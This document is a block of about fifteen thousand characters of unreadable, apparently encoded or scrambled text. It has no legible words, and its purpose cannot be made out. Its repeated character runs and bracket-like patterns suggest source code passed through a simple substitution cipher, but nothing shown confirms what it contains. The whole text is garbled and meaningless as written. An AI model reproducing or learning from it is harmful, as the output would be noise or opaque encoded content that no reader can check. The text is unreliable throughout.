OV^VNO8Q TOV_QNNNGGm	\mGGGmGGO' 8	OWW RUOUWWNKGWNNGm_ O8Q TOUWVNKG8Q TOUWUNKGGWN\CRZOW^_LWRN\C 8QZCRBP\mGmGGOF^PVWOWW RUOUWTNNNG	\mmmmmGGGGGGCQUP GGGGGZGGGGG	QU 
OV^SNO	QU 
OUWSNO&%47&3/GIGGGGO	 NGGGVS^SONNKGWKGGGGO_LSNN\mmmGCQVQVGZGGGGGGO	 NGGGGG' 8	OCQUP KGGEEN\mGGGC	PWW_GGZG^8UVUVOUWRN\mGCT8UQUQ^
GGGGGZGGEE\mGGmmCS	^^GGZGGGO
_QVONN\mGGCPTGGGZGGGG^8
U_U
ON\mCWS GGZGCPTGGGGGGIGG@@GIGGGGGGCS	^^\mmGGGGO	QU 
OVWWNOCQVQVKG@@NGGFZZGGGGGGNGGGmGCR^QUGGZG8Q TOUWQNO@@KGGCQVQVKGGGGGUN\mGGC	PWW_GGGGGZGCR^QU<W:\mGGCT8UQUQ^
GGGZGGGCR^QU<V:\GGGGmGGGGmGmGCT8UQUQ^
GGGGGZGGGGCQVQV\mmmGGGmmGGGGGGGGGOFCT8UQUQ^
NGGGm'8	OCQUP KGGCWS KGG^8UVUVOUWPNN\mG	\mGGmmGGGGGGGGOCT8UQUQ^
GGZZZGGGCS	^^NGGmGGOCQVQVGGGGGFZZGGGGGCWS GGGGAAGG	8
OCPTKGC	PWW_KGGG	QU 
OV^_NNNGGmmGG'8	OCQUP KGGGGCWS KGWW RUOUW_NN\mGGmmGGGGG	\mmmGGGGmC_S _QGGGGGGZGGGGOCT8UQUQ^
N\mGGGOC_S _QGGGGGZZZGEEGGGGGGG8Q TOVUNOC_S _QNGGGFZZGGGGC_S _QNGGGGGGmGGG'8	OCQUP KGGGCWS KGGG^8UVUVOUW_NN\mGGGGGG	\mGGGmmmmGGGCV_UQR8GGGZGG8^SU ^ONGGIGGGGG@H@GGGIGC_S _Q\mCS8Q  GGGZGGEE\mmmmGGGGGGGO	O8Q TOQNNNGGGGGGmGGGCS8Q  GZGG0787+2 .)8#.5GIGGGG@H@GGGGGIGGGGGG8Q TOUW^NOC_S _QKG7&3/.)!(8!.+")&*"NGGIGGGGG@H@GIGGGGGGC_S _Q\mmmmGGC
_RGZGG'^8UVUVOUVWNOCV_UQR8N\mGGGC^PT	GGZGGGGGC
_RGFZZGGGGGAAGC
_RGGGYZGGGOWVWLWUN\mGCW _TGGZGGCS8Q  GXGGGG'8Q TOUVWNOCS8Q  NGG]GG\mmmmGCTPWTTGGZGGGGCW _TGGGGFZZGGGAAGGGGGCW _TGGGGYZGO^_WTJS_WTN\mmmmGGGGGGGGOFC^PT	GGAAGGGGFCTPWTTNGGmHHG07G.		%7G
	G	mmGGG'8	OCQUP KGGGGCWS KGWW RUOUW_NN\mGG	\mGGGmGGGGGC	8SGGZGGGGC^PT	GXGGCV_UQR8GGG]GGCS8Q  \mmmC 
	R8VP^GZGG'8Q TOUVVNOC	8SKGGGGKGGGGG	KGGGGGWKGGOW_RLWPWNN\mGGGGGGGGO8Q TOVTQNOC 
	R8VP^NGAAGGG	QU 
OPPNOWW RUOUVUNKGGGGC 
	R8VP^KGGC8
NNGGGmGGC	PWW_GGZGC8
<V:\mGGGGGGORU	_8
OC	8SKGGGOWVT_RLWTNNNGmGGGC	PWW_GZGGWW RUOUWRN\mmmHHG	G		mmmGG	OC 
	R8VP^KGC8
N\mGCW W^GGZGC^PT	\mGGGOFCW W^GAAGGGCTPWTTNGGGmCVWGGGGGZG	QU 
OUVTNOC_S _QKGGGGG7&3/.)!(8!.+")&*"NGGGGGIGG@H@GGGGGIGGGGC_S _Q\mC V
TRGGZGGGGONG' 8	O	QU 
OUVSNKGGGGGONN\mGGGGGGGGCW W^GZGGGG	QU 
OV_PNOCVWKGGC V
TRKGGGN\mGGGOFCW W^GGGGGAAGGGG8Q TOV^VNO^8UVUVOUVRNNGGAAGGGG8
ONGGGGGAAGGGGGWW RUOV^VNO	QU 
OUVQNNNGmGGGGGCW QUGGGGGZGGONG' 88	OWW RUOUVPNKGGONN\mCW W^GZGGGGGOCW QU<CVW:N\mmmm	OCW QUN\mGGmGGGGG	OCVWKGGGGC V
TRN\mGGGmGGGC8_SGGZGG	8
OCPTKGGGC	PWW_N\mGGGOC8_SGG[ZGGGGGGWNGGmGGGCUQ	GGZGGGRU	_8
OC	8SKGOWP_LWSVWNN\mGGGGGGC8	_8GGZGGGO	NG'WW RUOUVWNOC	8SN\CZRSMQ\CU	V8ZCJSU\mGGC VT_W GGZGGGOFCUQ	GGGGGGGGGGC8	_8GGGGYGGGGGORUSU_PTWLPWNN\mGGGGGOFC VT_W GAAGC8	_8GGYGOTUS^_LVWVQWP_NNGGGmGC
GGGGZGGG'WW RUOUVVNOC	8SKGGKG	KGGGGGWKGOSW^SLUNN\mGGGGGOF^8UVUVOUV_NOC
NGGGF8Q TOPPNO8Q TOUV^NKGC
NNGGGC VT_W GGZGG\mGGmGGGGGOFC VT_W GAAGGGF	_S8
VOC	8SNNGC VT_W GGGZGGG\mGGGGGOFC VT_W NGmmmmGGC__W_^GZGGGQWP_U^QON\mGGGGGOF
OC__W_^<8Q TOUUWN:NNGmGGC8PRGGGGZG'^8UVUVOVPVNOC__W_^<WW RUOUUWN:N\mGGGGGGGGCWT__WT	UGGGZGGG'^8UVUVOVPVNOC	8SN\mmmGO8Q TOUUVNOC8PRNGGGGGAAGG^8UVUVOUUUNOCWT__WT	UNGGAAGC8PRGZZZGGCWT__WT	UNGmGC 
S_GZGGGGG_
	T
_ OC__W_^N\mGGGGGGGGGGGGGOC 
S_GZZZGG^8UVUVOUUTNGGGGGC 
S_GZZZGGWW RUOUUSNNGGGGC VT_W GGGGZG\mGmmmmG	OC8PRKGGCWT__WT	UKGGGC 
S_N\mGmGGGGOFC VT_W GGGGGAAGGGQ^
Q8U_OC	8SNNGC VT_W GGZG\mG	OC__W_^N\mGGGGGmGGGOC VT_W NGmGGGGOCUQ	NGGWV_ 
T OC	8SN\mGG'8	OCQUP KGGGCWS KGGGGGG8Q TOUURNN\m	\mGGmGGGGOFCW W^NGGGmmGGGGGGGG'8	OCQUP KGCWS KGG8Q TOUUQNN\mGGGGGGG	\mmGGmGGGW
SU	O^RRONKGC	PWW_N\mmGPV
W 	O^RRONN\mGG	GGGG\mmGGGmGGGGO
OC +(%&+4<8Q TOUUPN:NNGmGGGGGGC +(%&+4<^8UVUVOUUPN:GZGGG\mGGGGmmGGGORU	_8
OC	8SKGGGGGGOVVPTLT_UPNNNGGWV_ 
T OC	8SN\mGGGGGGGCSUGGZGWW RUOV_TNON\mGQ	WTT UO^RRONKGGGGOCSUGJGGGOCSUGGBGOWVRLWVQPSTNNNGGGLGGGGGVS^SONN\mG	OCSUN\mmmGW
SU	OCV_UQR8KGGCPTN\mGGGGGOCS8Q  NGGGGGGW
SU	OCS8Q  KGCPTN\mG_ O	QU 
OUU_NKGGG^8UVUVOUU^NKGGGGWN\m'8	OCQUP KGGCWS KGGGG8Q TOUUQNN\mmmmGGGG8^^
 O	QU 
OUTWNN\mmmmmmGGGGGOCS8Q  GFZZGGEEGGGGAAGGGGGGWW RUOUTVNO8Q TOQ^NNNGGmGGGGGGCW8VGGGGZGG8Q TOUVTNOC_S _QKG7&3/.)!(8!.+")&*"NGGIGGGG@H@GGGGGIGGC_S _Q\mGGGGGC V
TRGGGGGZGG' 8	O^8UVUVOUVSNKGONN\mGGO^8UVUVOV^TNOC V
TRNGGGAAGWW RUOV_PNOCW8VKGGGGC V
TRKGGGGNNGGGmGGGGGGGG'8	O^8UVUVOUVSNKG8Q TOPRNO	QU 
OUTUNOC V
TRKGOCW8VNNNN\mGGm	OCW8VKGC V
TRN\mmGGmGGG	\mGGGGGGGO3GGGC  PNGGmGWS	V VQPOWW RUOUTTNKGC  PN\mGGGGGGGO"	GGGC  PNGGGmmmmGGGG	GmT_TV 		^OWW RUOUTSNN\mGGGGGmGmGGGG		GVSOC
Q^	R8S	NmmmmGGGmHMG		JG
GMHmmGGGGO8Q TOUTRNOWW RUOUTQNNGGAAG8Q TOUTRNO^8UVUVOUTPNNNGmmmmGGGC	
QVP_GGGGZGGG'^8UVUVOUT_NOC
Q^	R8S	N\mGGGOC	
QVP_NGGCWWZOW^^LWSN\C
^8ZCWWB_\mGGC^

V
V
GGGGGZGON\mmmGGGGOOC  PGGGGGGZG'	QU 
OUTPNOC	
QVP_NNGGFZZGGNGGGmGGGGGGGGOC  PGFZZG@I@GGAAGGC  PGGFZZGGWW RUOUT^NNGC^

V
V
<:GZGC  P\mGGGGmmGGGGGGGO^8UVUVOUTRNOWW RUOUSWNNNG'WW RUOUSVNOC	
QVP_N\mmmmG	GGGGGGC^

V
V
\mmHMGJGJGMHmmGmGO	QU 
OUSUNO	QU 
OUSTNNNGmGGC	WTVT ^GGGGGZG'^8UVUVOUSTNOC
Q^	R8S	N\mHHG5GJG		G33+mmGGGGGGGGGGO8Q TOV^TNOC	WTVT ^NNG	GG8Q TOUSSNO8Q TOUTUNOC	WTVT ^KGO@I@KGGGG8Q TOUT^NNNN\mGGmGO	QU 
OUSRNOWW RUOUSQNNNGmGC
T^8GGGZG'^8UVUVOUSQNOC
Q^	R8S	GGGGIG^8UVUVOUSPNN\mGGGGO	QU 
OUS_NOC
T^8NNGGGG	GGWW RUOUS^NO8Q TOURWNKGGGC
T^8N\mmmm	GGG	\mmmmGGGGmmmG		GGW^RTOCWUWRNmGGGGmGGGOF	QU 
OUUUNOCWUWRNGGGGWW RUOURVNOCWUWRKGGGGG	QU 
OURUNNGGGZZZGGGNGG	GG\mmmmGGGGO^8UVUVORSNOCWUWRNGGYGOVR^SQSQJRSQWPWNNGCWUWRGZG8 	  OCWUWRN\mGGGGGGGGOWW RUORSNOCWUWRNGGGYGGGOVWS_RPVLRNNGG	G\mGGGOF^8UVUVOUSRNO	QU 
OURTNNNGGGG	GGGGGG\mGGGOF	O8Q TOURSNNNGGGmGCPT^
GGZGGGG'	8 8OCWUWRN\mGGGGGGGOFWW RUOURRNOCPT^
NNGGGG	GGGG\mGGCW_GZGGGGW\mmmmGGGOCPT^
GGGGGC
TPSP	QNGGmGGGGGGGGGO8Q TOURRNOC
TPSP	QNNGGmGGGGGOC
TPSP	Q<W:GGZZZGGGGGG38$25+>8(7")GGGGGGC
TPSP	Q<W:GGGZZZGGGGG38#(++&58(7")8$25+>8%5&$"4NGCW_LL\m		\mGGGmGGGGGGGOC
TPSP	QGGGGZZZGGG@@NGCW_LL\mGGOC
TPSP	QGZZZGGG@@NGGmCW_JJ\mGGOCW_G[GGGWNGG	GG\mGmmGGmG	GGGCW_GGGZZZGGW\mGGGmGGmGGGG'	8 8OCWUWRKGGGG3(,")87&54"N\mGG	GG\mGGGO3GGC  PNGGmG	GGGG\mGGGGGGGGGO"	GGGC  PNGGGGmGGGG	GGGGG\mGGGGGGGmGGmGGG		GGGS
	QVRUONmGmG	GO8Q TOURQNKGGGG	QU 
OURPNKGG	QU 
OUR_NN\mmGGGGGG		GWT8
PONmGGGGGGGmmmGG	GGO	QU 
OUR^NKGGGG^8UVUVOUQWNKGGG8Q TOUQVNKGGGWW RUOUQUNKGWW RUOUQTNKGGWW RUOUQSNKG	QU 
OUQRNKGGGG	QU 
OUQQNKGGG8Q TOUQPNKGGGG	QU 
OUQ_NKG	QU 
OUQ^NKGGG8Q TOUPWNKG^8UVUVOUPVNKGG8Q TOUPUNKGG	QU 
OUPTNKG^8UVUVOUPSNKGGG^8UVUVOUPRNKG	QU 
OUPQNKG8Q TOUPPNKGG^8UVUVOUP_NN\mmGGGGmGGGG		GGGGWPPSQTSONmmGGG	GGGO8Q TOUP^NKG	QU 
OU_WNKGWW RUOU_VNKGGGGG8Q TOU_UNN\mGGGGGGGmGGGmG		G^Q _OC8R_P	NmGGGGmGGGGGO^8UVUVOUSRNO8Q TOU_TNNNGG	GG 	OC8R_P	KGGORLSNN\mGGO	QU 
OUSRNOWW RUOU_SNNNGGmHHG7/7G$4G!G
	G	mmmmmGG	GGGGE;V;_;W_;WW;WW;WW;WW;WW;WW;WTEGGIGG OC8R_P	KGOVPJ_NNGGIG8Q TOU_RNO@1@KGGWW RUOU_QNOC8R_P	NNGIGGG8Q TOU_RNO@1@KGWW RUOU_PNOC8R_P	NGGGGAGOSU^S^QPUUULPTNN\mGmmmm	GC8R_P	\mGGGGmGGGGGG		GG8WP8_OC8R_P	NmmGGmGGGGGGGOF8Q TOUUUNOC8R_P	NGGGGWW RUOU__NOC8R_P	NGG[GUNG	GGC8R_P	\mGGGGGO8Q TOV^SNOC8R_P	KGGGGWKGGUNGFZZGGGGE;V;_ENGGG	GGGC8R_P	\mmmGGGO^8UVUVOU_^NOC8R_P	NGG[GGGGGO^[[VNNGGG	GGG\mGC
_VPPGZG'WW RUOU^WNO@1@KG8Q TOV^SNOC8R_P	KGGGGGJO_JSNNN\mC
_VPPGZGG^8UVUVOU^VNOC
_VPPNGXGC
_VPP<V:GG]GGW\mmmGGGGGGGGGOC
_VPPGG[GGGGOSVUL__NGGGGC
_VPPGGYGGOVWS_RTULSSNNGGG	G\mmGGGGO8Q TOUSRNO8Q TOU^UNNNGGmmmCS^WRGZGG' OC8R_P	KGGGGGOVWVQUPVLTUTWRNN\mGGGOCS^WRGGFZZGGNGGGG	GCS^WR\mGmGGGGO^8UVUVOUSRNO	QU 
OU^TNNNGGGGGmCS^WRGZGGG' 	O8Q TOV^SNOC8R_P	KGGGGGGOUL_NKG	QU 
OU_^NOC8R_P	NGJGGOWVLWVVNNKGGOVWS_SP^L^PNN\mGGGGGG	GO^8UVUVOU^SNOCS^WRNGGGAAG	QU 
OU_^NOCS^WRNGGGG[ZGGGGGGOVWS_S^RL_VNNGGXGCS^WRGGGG]GGG\mmmG	GGGG\mGmGmGGOFG^8UVUVOUSRNOWW RUOU^RNNNGGGGmG		GGGGU	OC	WVUNmGmGGGGOFGGGGGWW RUOU^SNOC	WVUNGGG^8UVUVOU_^NOC	WVUNGGGBGGGGGUGFZZGGWNGGm	GG\mmGG	GGWW RUOU^QNOWW RUOU^PNKGC	WVUN\mmmmmmmGGGGGGmmmGGGGGGmm		G	T	ONmGGGGmGC8UVRGGGGZGGGON\mGGGGGGGC^S
	8RQSGGGZGGO&%47&3/KGG&%47&3/GIGWW RUOU^_NKGGG&%47&3/GIGG8Q TOU^^NN\C V	ZVRPUVS\CR_
SZC V	9QT\mGGGO	O^8UVUVOTWWNNNGC^S
	8RQS<:GGGZGGG078$()3")38#.5GGGIG@H@\mGGGGGGGGGOC^S
	8RQSGGCS^WRNGGmGGGGGGGGCRT P 8VGGGGZGG^8UVUVOUSRNO8Q TOTWVNNGGGXG'8Q TOTWVNOCS^WRGIGGG	QU 
OTWUNNGG]GG\mGGGGGGO8Q TOTWTNOCRT P 8VNNGGmGGGOCRT P 8VGGGGGC	S^RWNGGGGGGmGGCT
P8	R^8GGGZGG'	QU 
OP^NOC	S^RWN\mmmmGOCT
P8	R^8GGAAGGGGCT
P8	R^8GGGYGGGGO^SQQ_SPQULT_NNGGmmmC8UVR<:GGZGGGGCT
P8	R^8\CVT

ZUTTVP^\C^V_8ZCVT

9UV_\mGGGGGGGmGGGGGGmmGmmmmGGGGGGGGOF
OC8UVRNNGGmGGGGGC	
QRVGZGGGGC8UVR<^8UVUVOTWSNOC8UVRN:\mGGG	GGOC	
QRVGGGGJGGGOC	
QRVGGBGGGGGGOVWQL^^_^SNNNGGLGVS^SON\mGmGCQUQGZGWW RUOV_TNONGGJGOOTSTLUUNGGGGMGGGOWVQLWUNGGMGOW^UTLWSNN\mGGmmGC
8V^QTV SGGZG	QU 
OUSRNOWW RUOTWRNNGGXG8	OWKGOUUL_NGMGGOVTLVVNGMGOTRTULQ_NNG]GGG^8UVUVOTWQNOWKGGGGGOUSLQNGMGOVLUTNGGGGGMGGOTPTQJVTQNN\mGGC	
QRVGGGGZGCQUQGGGGGJGGGC
8V^QTV S\mGGGGGGmmGGGGG	GGGGGOC	
QRVGGGGGJGOC	
QRVGGGGGBGGGGGOWV^ULWV_RWNNNGGGGGLGVS^SON\mmGGGGGGmG		GGP^^^_OCTR	UW TWKGGGC
VTV8	RKGC8W TTTGGZGGGG	NmGmGGCWP8QGGGGGZGG		GOC
^_UWNGGGGGGGGOC8W TTTNGGmGGGGGOF8Q TOTWPNOC
^_UWNGGGGC
^_UWGZZZGGGGGGEENG	GG\mmmGGGGGOWW RUOU_^NOC
^_UWNGGGGYGGGGGO_T__RP^LU^NNGG	GG\mGGGGOC8W TTTNGGGGGmGGGGmmmmGGGG	GGGONGGG	QU 
OTW_NOC8W TTTKGGGGGC
^_UWN\mmmGGGGGGGO3GGGGC  PNGmmmG	GGGG\mGGGGGGGO"	GC  PNGGGGGGmGGGG	GGG\mmGGGGGGmGG	G\mGGGGGG\mCWSP	GGGZGG^8UVUVOUSRNO8Q TOTW^NNGGGGXGGG'	QU 
OTW^NOCTR	UW TWKGGGGOmG8Q TOTVWNGGGZYGGGC
VTV8	RKmGGGWW RUOTVVNGGZYGKmWW RUOTVUNGGGGZYGOVRPQWQWSJPTPV^^QNKmGGGGGGGNNGGG]G\mGGGGOCWSP	GGAAGGGOF	QU 
OUSRNO	QU 
OTVTNNGGGGGGF88OCWSP	NNNGmGGGGGOO	NG8
88	8OCWSP	NGGGGGZZZGGOUSVJSVNNGGmmC
VGGZG8
88OCWSP	N\mGGGGOCWP8QOC
VNNGGG	GGC
V\mGmGGGGGGmGGGGO^8UVUVOTVSNO^8UVUVOTVRNNGAAGWW RUOTVSNO^8UVUVOTVQNNGAAGWW RUOTVSNO	QU 
OTVPNNNGGmGGGGGGGCQV8 GGGGZG'WW RUOTVRNOCTR	UW TWN\mGGGOCQV8 GGGGZZZGNGG	GGGG\mGGG'8Q TOTVQNOCQV8 KGOm		O^8UVUVOTV_NNGGGGZYGGGGGKmmmmGGGGGGG		O^8UVUVOTV^NNGGGZYGGC
VTV8	RKmGGGGGG		O^8UVUVOTUWNNGGGGZYGGGKmG		OWW RUOTUVNNGGGGZYGWKmmmmGGG		O^8UVUVOTUUNNGGZYGKm		O8Q TOTUTNNGGZYGG		GOCWUQKGGGGGC 
U8T	KGGGGC
^WUQ8NGGGGGG	GGC
^WUQ8GGGYGGORQRQUWLP_UU^__NGGGGXGGGGGGVGGGG]GW\GGGGGKmNN\mGGCTGGZG'8Q TOTVPNOCQV8 N\mGGGGGC^GGGZGGGGG'8	OCQV8 N\mGGGGGGGC88	GZG'8 	OCQV8 N\mGG'8OCQV8 N\mGGGGGGGGOC^NGG	GG\mGOO	NGGGC88	<WW RUOTUSN:GGGZZZGGGOUQ9UVWNGGAAGGCTGGGGGGFZZGGAAGGCWP8QOCTNNGGGGGGmmmm	GGGCT\mGGGGGGGmGmGGGGGGG	GG\mmmGGmmGGGGG		GG^UUPOCTR	UW TWKGCPRPSV
KGGGCSWPQKGGC
VTV8	RKGGGC8W TTTGGGZGG	NmmCWP8QGGGGZGGGGG		GOC
^_UWNGGGGOC8W TTTNGGmmGGGGOF8Q TOTWPNOC
^_UWNGGGGGGC
^_UWGGGGGGZZZGEENGG	GGG\mGGGO^8UVUVOTURNOC
^_UWNGGYGGGGGO_T__RUSL_SNNGG	G\mGGGOC8W TTTNGGGGGmmmGGGGGmGG	GONGGG	QU 
OTW_NOC8W TTTKGC
^_UWN\mGGGGGGGGGGGGO3GC  PNGGGGGmmmmGG	G\mGGGGGGGO"	GGGGC  PNGGmGG	GGGGG\mGGGGGGGmGGGm	GGGGGG\mG\mGGGGGGGCWSP	GGZGGGGG^8UVUVOTVSNO8Q TOTUQNNGGGGXGG'WW RUOTUQNOCTR	UW TWKGGGGGOmGGGGG8Q TOTVWNGZYGC
VTV8	RKmG	QU 
OTVVNGZYGGGKmGGGWW RUOTUPNGZYGO_T__R_TLURNKmmmmGGG	QU 
OTU_NGGGGGZYGGCSWPQKmGGG8Q TOTU^NGGGZYGGGCPRPSV
KmGGNNGG]GG\mGGGGGOWW RUOTVSNOWW RUOTVTNNGGAAGGGG88OCWSP	NNGGmmGGGGGGGGGGGGGOCWSP	NGmmmGGGCWUWRGGGGZGGGO	NGG8
88	8OCWSP	N\mGGGGC	W8QGGGZG8
88OCWSP	N\mC STGGGZGGG8
88OCWSP	N\mC^8VVGGZGGGEE\mGOWW RUOTWTNOC STNNGGmGGGGGGGGOC STGGGGGGCUWU
GZYGGGGGGC R8S NGGmGC^8VVGGIZGCUWU
GGIGGGGGWW RUOTTWNGIGC R8S GGIGG	QU 
OTTVN\mGGGmmGGGGOCWUWRGZZZGGOV_VLV^NGGGGAAGGCWP8QOC	W8QNNGGGmmmmGGGG	GGC	W8Q\mmmmGGGGGGmGGGGGGGmGGmmGGO	QU 
OTVSNO^8UVUVOTVRNNGAAGGGGGWW RUOTVSNOWW RUOTTUNNGGGAAGGGGG	QU 
OTVSNO	QU 
OTVPNNNGGmmGGGCQV8 GZGG'8Q TOTVRNOCTR	UW TWN\C
U8U	ZTPT\CSPSZOC
U8U	YWNXC
U8U	]JC
U8U	\mGGOCQV8 GZZZGGGNGmmmmGG	GG\mmmGGGGGmGCTR QGGZGGGGON\mGGGGOCSWPQGGGGCUWU
GZYGGC R8S NGGmGGGGCTR Q<:GGGGGZGCUWU
GIG8Q TOTTWNGGIGGGC R8S \mmmGGGmmmGGG'	QU 
OTTUNOCQV8 KGGGGOmG		O^8UVUVOTTTNNGGGZYGGGKmGGG		OWW RUOTTSNNGGGGGZYGGCPRPSV
Kmmmm		O	QU 
OTV_NNGGGZYGKmGGGGGG		O8Q TOTV^NNGGGZYGGGGC
VTV8	RKmG		OWW RUOTUWNNGZYGKmGGGG		O8Q TOTUVNNGGGGGZYGGGWKmGGGGGG		OWW RUOTTRNNGGGZYGCTR QKm		O	QU 
OTUUNNGGGGZYGGGGKmG		O	QU 
OTTQNNGZYG		GGOCWUQKGGGGGGC 
U8T	KGGGC
^WUQ8NGGGG	GGC
^WUQ8GGGGYGO_T__RR_LRWNGGGGXGVGG]GGW\GGKmNN\mGCTGZGG'	QU 
OTVPNOCQV8 N\mGGC^GZG'8	OCQV8 N\mGCWQ	PUGGZG'8OCQV8 N\mGGGGGGC88	GZGGG'8 	OCQV8 N\mGGCVU	T^8VGZGGGGGO	NGGC88	<	QU 
OTUSN:\mmmmGGGGOC^NGm'8OCQV8 N\C
8	TZOW_LWN\CWSTPUZC
8	TBQ\m	GG\mGGGmGGGGG'8OCQV8 N\mGGGGGGGGGGGOCVU	T^8VGGZZZGGGGGORW[[UNGGGAAGCTGFZZGGAAGCWP8QOCTNNGGmHHGG	G	mmGGG	GGGGCT\mGGmGOCTNGmmGG	GG\mmmmGmG	GGG\mmGGGmGmmmG		GG

UU
SUVONmmmGGmGGCQQSGZGGS
	QVRUON\mmmGGC	TUVPP GGZGGWT8
PON\mmmGGmGO
OCQQSNGG
OC	TUVPP NNGGGGGmGGG	GGGON\mGmmmGGmmmGC RW	8R_WPPGZGGWW RUOTTPNO8Q TOTT_NNGGXGO	 NGGG 8	OWW RUOTT^NKGGGEENGG]GGEE\mGGGGGGGOC RW	8R_WPPGFZZGGGEENGmGGGC	TUVPP GGZG8Q TOUSSNOWW RUOUTUNOC	TUVPP KGGGOC RW	8R_WPPNNN\mGGGGGGGG	QU 
OTSWNOC	TUVPP KGGGC RW	8R_WPPN\CU^TP_ZVT_V\C 88P SZCU^TP_BU\mmmGGmmGGC ^8_T8^GGGZGGG	QU 
OTSVNOCQQS<^8UVUVOTWSNOCQQSN:N\mGGGGOC ^8_T8^GZZZGEENGGmGGG	GGGON\mGGGGGGGmmmCPRPSV
GGGGGGZGG	QU 
OTSUNGIGGGGC ^8_T8^GGIGGGWW RUOTSTN\mmmmGC^GGGGGZGO8Q TOTSSNGZYGWW RUOTSRNN\mGGGGGGCV^UGGGZGGWW RUOTSQNON\mGGGGGOC	TUVPP GGGGGGGGGGCVRP8Q^NGGmGGmGGGGGGGGOO^8UVUVOTSPNONGGJGCV^UNGGYGGGGOV^LUQNNGGGmG\mGmmmGmGCVRP8Q^GGZGGGG	QU 
OTSVNOO	 NGGCVRP8Q^N\mGGGGOCVRP8Q^GGGZZZGGGGEENGmGGGGGG		\mGGGGGGmGGGGmmmGGGC	W8QGGZG^UUPOCVRP8Q^KGGCPRPSV
KGC^KGGGOUWU9UWPNKG		GGOC
^_UWNGGGmGCT_GGZG'	QU 
OTS_NOC
^_UWKGN\m	GGG^8UVUVOTWTNOCT_NGGAAGGOCT_<WW RUOTS^N:N\mGGN\mmGGGGOC	W8QGGZZZGGGGGGNGGmHHG
	
GmmGGGG		\mGGGGGmCTWQ8GZGG'	QU 
OTS_NOC	W8QKGGGGGN\mGGGOFGGGWW RUOTWTNOCTWQ8NGGGGGGFGGGGOCTWQ8<WW RUOTS^N:NGGGGGFGGWW RUOTRWNOCTWQ8<^8UVUVOTS^N:NNGGGGmGGGGG		\mmGGGGGmmmGC	WVUGGZGGGGCTWQ8<	QU 
OTS^N:\mGGOWW RUOURVNOC	WVUKGG	QU 
OTRVNNGZZZGGGGGWNGGGGGmGC	WVUGGZGG8Q TOV^SNOC	WVUKGUN\mGGGGmHHG	 JGGmmmGC _ GGZGGGGG'WW RUOTRUNOC	WVUN\mmGGGGGGOC _ GGZZZGGGGGGGGG	QU 
OTURNOC _ NGG[GOV^LSRNNGGGGmG		\mGGmGmmGGGGGGCQ_TPS^GZGGGGGGOSVLUUN\mC	PRTGGGZGGGGGG^8UVUVOTRTNOC _ <CQ_TPS^:N\mmGGGGCR
8Q
GGGGZGG^8UVUVOTRSNOC _ KGGGGCQ_TPS^GGLGGVKGGGC	PRTN\mGGOFGGG	QU 
OTRWNOCR
8Q
NGGGGGGWW RUOTRRNOCR
8Q
NG[GGOVLUNNGGmGGG		\mGmGGGGGGmGGGGC8T^
	TGGGZGGGWW RUOTRTNOCR
8Q
<W:N\mGGGGGGOC8T^
	TGGGG[GGGGGVGGGGGGGG	QU 
OTRQNOCR
8Q
NGGGG[GVGGGGLGGGGGC8T^
	TGLGGVNGGGGGGmGGGGG		\mmmmGmmmGGGGGCT 
^S
GZGGGG^8UVUVOTRSNOCR
8Q
KGGGVKGGGGGC8T^
	TN\mGGGC	Q_ 	GGZGGG8Q TOTRSNOCR
8Q
KGGGVGLGC8T^
	TN\mGGGGGOFG	QU 
OTRWNOCT 
^S
NGGGGGFG8Q TOTRPNOC	Q_ 	NNGmGGGG		\mmGGmmGCRPPWGGGGZGGWRQ _WSOC	Q_ 	KGCT 
^S
N\mmmmGGGOFG	QU 
OTRPNOCRPPWNGGGGGGGWW RUOTRQNOCRPPWNG[GGGGGUNGGmmmGGGWS	V VQPO8Q TOTR_NKG	QU 
OTR^NN\mGGGGG		\mGmGmGGC	SW_ _WPGZGGG^8UVUVOTRTNOCRPPW<W:N\mGGGGGOC	SW_ _WPGGG[GGGVGGGGGGG	QU 
OTQWNOCRPPWNGGG[GGVGLGGGC	SW_ _WPNGGmWS	V VQPO8Q TOTQVNKGGGG^8UVUVOTQUNN\mGG		\mmmmGGGmGmCV				GZGG8Q TOTRSNOCRPPWKGVKGC	SW_ _WPN\mmmGC
PVS8GGGGGZGGG	QU 
OTRSNOCRPPWKGGGVGGGLGC	SW_ _WPN\mmmGGGGGGC QRV8SGGZGG	QU 
OTQTNO	QU 
OTQSNO8Q TOTQRNOWW RUOTSVNKGGGG8Q TOTQQNO8Q TOTQPNKGGGC
PVS8NNNN\mGGGGGGGGO	QU 
OTTPNO^8UVUVOTQ_NNNGGGGmHHG07G$
G+	]GJGmmGGGG8	O	QU 
OTT^NKGCVRP8Q^N\mGGGGmmGGG8	O^8UVUVOTQ^NKGGG	QU 
OTPWNOE;	EKGGC QRV8SNN\mGm	GOWW RUOTPVNGZYGGCV				KGG	QU 
OTPUNGZYGC QRV8SN\mGGGGGGGGO3GGGGGC  PNGGmGGWS	V VQPOWW RUOTQVNKGC  PN\mGGGGG		\mGGGGGO"	GGC  PNGGm		\mGGmmmmGCW_UVGZGWW RUOTTPNOWW RUOTT_NNGXGGO	 NGGG 8	O8Q TOTQ^NKGGGEENGG]GGGEE\mGGC
W  8RGGZGGGGU^ _UO8Q TOTPTNKGGEEN\mGGGOCW_UVGGFZZGGEEGGGGAAGGGWW RUOTPSNOC
W  8RNGGGAAGGC
W  8RGGGFZZGGGGEENGGGmC QRV8SGGGZGWW RUOTQTNO^8UVUVOTQSNO^8UVUVOTQRNO	QU 
OTSVNKGGGG	QU 
OTPRNO^8UVUVOTPQNKGCW_UVNNNN\mGGGGOFGG
OC QRV8SNNGGGmmm	GGGGOWW RUOTPPNGGGGGZYGGGC
W  8RKG8Q TOTPUNGZYGGC QRV8SN\mGmmGGGWS	V VQPOWW RUOTP_NKG^8UVUVOTP^NN\mG	GON\mmmGmGGG		GG
VR_WWOCSW	U8SKGGCQW8QKGGGGGC
WNmmGGGGGGmmGGGGGOFGGG8Q TOTTPNO	QU 
OTQ_NNNGm	GGGG\mmHHG07G.	$	G
GmmGGCVQQT  GGZGG	QU 
OT_WNOCQW8QN\mGCTS^TVRGGZGGG^8UVUVOT_VNO	QU 
OT_UNOVKGOV_TLPUNNN\mGGCWQS
	GGGZGGEE\mGGOC^UQ8GGGGZGGGGWKGGC VGGZGGGGG8Q TOTQWNOCVQQT  N\GC^UQ8GGGGG[GC V\GGC^UQ8LLNGGmGGGCWQS
	GGGIZGWW RUOT_VNO	QU 
OT_TNOCVQQT  <C^UQ8:NGGGGG9GG^8UVUVOT_TNOCTS^TVRNN\mmGGGGGG	GGGGG8	OCSW	U8SKG	QU 
OT_SNOCTS^TVRGGGGGIGGCWQS
	NKGGC
WNGFZZG\mGGmmmmGGGG		GGV
